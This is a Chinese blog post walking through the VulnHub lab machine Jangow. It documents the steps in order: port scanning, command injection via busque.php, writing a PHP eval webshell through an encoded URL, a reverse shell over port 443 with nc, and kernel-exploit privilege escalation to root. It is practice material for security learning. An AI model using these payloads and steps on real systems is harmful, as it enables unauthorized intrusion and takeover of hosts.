打靶笔记-04-vulnhub-Jangow

前面两篇名称写成了vulhub,已经更改为vulnhub;vulhub的之后再找个时间集中打一遍。

一、靶机信息

Name: Jangow: 1.0.1 (Easy)
Date release: 4 Nov 2021
Author: Jangow
Series: Jangow

二、启动靶机

2.1 校验靶机

2.2 导入Vbox,配置网络

因为攻击机器都在vmware上,所以还是将靶机网络桥接到vmnet8网卡上。

2.3 打快照,启动靶机

没啥好说的,以防万一,打个快照启动



可以直接看到ip地址,不过按照实际中的话时看不到这个界面的。

三、开始打靶

3.1 信息搜集

3.1.1 主机发现

ifconfig
sudo arp-scan -I eth0 -l



获得靶机IP 172.16.95.140

3.1.2 端口发现

sudo nmap -p- 172.16.95.140



只开放22和80端口

3.1.3 进一步确认端口背后服务以及具体版本号

sudo nmap -sV -p22,80 172.16.95.140



可以看到22端口是filtered的状态,也就是22端口被防火墙过滤了,80端口对应的是Apache httpd 2.4.18

3.1.4 使用nmap默认脚本扫描

sudo nmap -sC -p22,80 172.16.95.140



貌似没有啥发现,80端口也挂载的是普通页面,先看看去

3.2 开始渗透

3.2.1 访问80端口



是个目录,继续点,发现是个网页,然后里面有一个目录链接site,继续点



最后发现个链接指向一个busque.php文件,并且拥有参数buscar可以接收值,但不知道干啥用的,最后经过fuzz测试,确定为命令执行

3.2.2 信息收集

既然是命令执行,那就可以直接来一波简单的信息收集

id
pwd
ls
ls ./wordpress
cat ./wordpress













在进行常规信息搜集后,发现有一个wordpress的目录,并且还获取到了数据库账

不过以上好像没啥用,数据库也无法访问,也没有更多有用的目录。

3.2.3 写入小马

因为命令执行,所以尝试了各种姿势反弹shell,可能是水平不够,wget也无法下载到远程服务器上的马儿,所以就开始尝试写入小马

http://172.16.95.140/site/busque.php?buscar=echo%20%27%3C?php%20@eval($_POST[%27ant%27]);?%3E%27%20%3E1.php





成功写入,上蚁剑,连接成功



继续收集信息,获得用户jangow01家目录下有个user.txt,内容似乎是md5加密的,可以顺手破解一下,不过好像是空的,没有任何内容,奇怪



翻了翻其他目录在html目录下发现.backup文件,里面是用户jangow01的mysql账户密码

然后尝试上传反弹shell的php文件也无法反弹成功

3.2.4 反弹shell

蚁剑虽然连接成功了,但是shell最终还是个webshell,可干的事儿有限,所以还是的反弹shell提权

经历过刚刚命令执行反弹shell失败,然后尝试上传反弹shell的php文件也失败了,联想刚开始端口扫描时22端口被过滤的情况,应该是目标机器防火墙搞得鬼。

不过好在目标机器nc可以使用,不过最终也没有反弹成功,因为它无法带-e参数。

=-=

打到这儿自己就没思路了,最后查看了别人的攻略,这儿的关键点在于目标机器防火墙对进出的端口进行了限制,最后尝试了443端口可以成功利用

nc -lvnp 443



3.2.5 升级shell为tty

which python python2 python3 py py2 py3
python -c 'import pty;pty.spawn("/bin/bash")';
export TERM=xterm-256color
stty raw -echo;fg

3.2.6 寻找漏洞提权

升级shell之后,就可以sudo和su了,结合之前发现的两个mysql账户名密码,尝试了以下切换用户,结果mysql的账户密码和系统的账户密码一致。



然后尝试sudo的时候失败了,好像不是英文,不过看到了个sudoer,猜测应该是提示这个用户不再sudoer文件中,也就是没有sudo的权限。

那就看看有没有其他漏洞可以利用吧

uname -r
uname -a
lsb_release -a



ubuntu的版本为16.04.1 LTS

searchsploit Linux Kernel 4.4.



这个搜索到的有很多看着比较符合,不过这个有点意思的是有个在windows的分类下,有点奇怪,先拿它看看

sudo cp /usr/share/exploitdb/exploits/windows_x86-64/local/47170.c /var/www/html/test.c



然后在目标机器上下载test.c,结果都无法搞定,应该是对方防火墙导致的。

=-=,一会儿提权成功一定要看下它的防火墙策略,最后通过蚁剑传了过去,不过gcc编译失败了



继续换linux/local/45010.c

sudo cp /usr/share/exploitdb/exploits/linux/local/45010.c ./



然后还是通过蚁剑上传编译执行,最后成功拿到root权限

ls
gcc -o exp 45010.c
chmod +x exp
./exp
id

3.2.7 查看防火墙

bash
sudo ufw status

果然,=-=,禁止访问任何端口,除了443



关闭防火墙,可以成功访问,真变态

四、总结

这个靶机难点就是能够找到唯一可利用的443端口进行反弹shell,没有这个端口,有再多的反弹姿势,防火墙拦截的死死的,除非能用webshell进行本地提权,这个不现实,至少对我来说是的,能力不够

然后看到别人有批量提权的脚本,先记录下,随后的靶机中尝试以下

linux 提权辅助脚本



敖~,果然特么神器=-=

原谅我这个菜鸡现在才找到这些神器,应该在自己犯懒的时候先找下有没有懒人神器,没有的话自己总结搞一个,加油~~~

打靶笔记-04-vulnhub-Jangow的更多相关文章

  1. 打靶笔记-01-vulnhub-moneybox

    打靶笔记-01-vulnhub-moneybox 本篇笔记根据苑老师视频进行学习记录 https://www.bilibili.com/video/BV1Lv411n7Lq/?spm_id_from= ...

  2. JS自学笔记04

    JS自学笔记04 arguments[索引] 实参的值 1.对象 1)创建对象 ①调用系统的构造函数创建对象 var obj=new Object(); //添加属性.对象.名字=值; obj.nam ...

  3. JAVA自学笔记04

    JAVA自学笔记04 1.switch语句 1)格式:switch(表达式){ case 值1: 语句体1; break; case 值2: 语句体2; break; - default: 语句体n+ ...

  4. 机器学习实战(Machine Learning in Action)学习笔记————04.朴素贝叶斯分类(bayes)

    机器学习实战(Machine Learning in Action)学习笔记————04.朴素贝叶斯分类(bayes) 关键字:朴素贝叶斯.python.源码解析作者:米仓山下时间:2018-10-2 ...

  5. CS229 笔记04

    CS229 笔记04 Logistic Regression Newton's Method 根据之前的讨论,在Logistic Regression中的一些符号有: \[ \begin{eqnarr ...

  6. SaToken学习笔记-04

    SaToken学习笔记-04 如果有问题,请点击:传送门 角色认证 在sa-token中,角色和权限可以独立验证 // 当前账号是否含有指定角色标识, 返回true或false StpUtil.has ...

  7. Redis:学习笔记-04

    Redis:学习笔记-04 该部分内容,参考了 bilibili 上讲解 Redis 中,观看数最多的课程 Redis最新超详细版教程通俗易懂,来自 UP主 遇见狂神说 10. Redis主从复制 1 ...

  8. Java:并发笔记-04

    Java:并发笔记-04 说明:这是看了 bilibili 上 黑马程序员 的课程 java并发编程 后做的笔记 本章内容-3 线程状态转换 活跃性 Lock 3.10 重新理解线程状态转换 假设有线 ...

  9. 打靶笔记-03-vulhub-Moriarty Corp

    打靶笔记-03-vulhub-BoredHackerBlog 一.靶机信息 Name: BoredHackerBlog: Moriarty Corp(中-高级难度) Date release: 29 ...

随机推荐

  1. Java线程--CountDownLatch使用

    原创:转载需注明原创地址 https://www.cnblogs.com/fanerwei222/p/11867656.html Java线程--CountDownLatch使用, 代码里头有详细注释 ...

  2. iOS 性能优化系列

    Objective-C 高性能的循环 使用 Swift 和 Objective-C 执行 iOS 内存管理的 7 个简单技巧 @autoreleasepool-内存的分配与释放

  3. LVS+Keepalived群集

    LVS+Keepalived群集 目录 LVS+Keepalived群集 一.Keepalived实现原理 1. 单服务器的风险 2. Keepalived工具 3. Keepalived解决单点故障 ...

  4. postman常用测试脚本

    测试脚本: 设置环境变量 var jsonData = JSON.parse(responseBody); postman.setGlobalVariable("5KMST", j ...

  5. sublime与python交互

    点击菜单栏中的工具 -> 编译系统,勾选Python即可 创建hello.py文件,Ctrl+S保存文件,Ctrl+B执行文件,结果如下图   3.sublime运行python文件的交互环境设 ...

  6. Python语言编程基础

    Python 技能目标 理解编程基本原理和思想 掌握python语言的基础语法 能够使用python进行基本的开发工作 熟练使用项目开发IDE:eclipse,PyDev 能够使用Python开发简单 ...

  7. async同步异步

    1.同步:var async = require("async"); async.series([step1, step2, step3],function(err, values ...

  8. 流量录制与回放在vivo的落地实践

    一.为什么要使用流量录制与回放? 1.1 vivo业务状况 近几年,vivo互联网领域处于高速发展状态,同时由于vivo手机出货量一直在国内名列前茅,经过多年积累,用户规模非常庞大.因此,vivo手机 ...

  9. mysql5.7下载

    官网:https://dev.mysql.com/doc/refman/5.7/en/installing.html 二进制安装:https://dev.mysql.com/doc/refman/5. ...

  10. [题解]Mail.Ru Cup 2018 Round 1 - A. Elevator or Stairs?

    [题目] A. Elevator or Stairs? [描述] Masha要从第x层楼去第y层楼找Egor,可以选择爬楼梯或者坐直升电梯.已知爬楼梯每层需要时间t1:坐直升电梯每层需要时间t2,直升 ...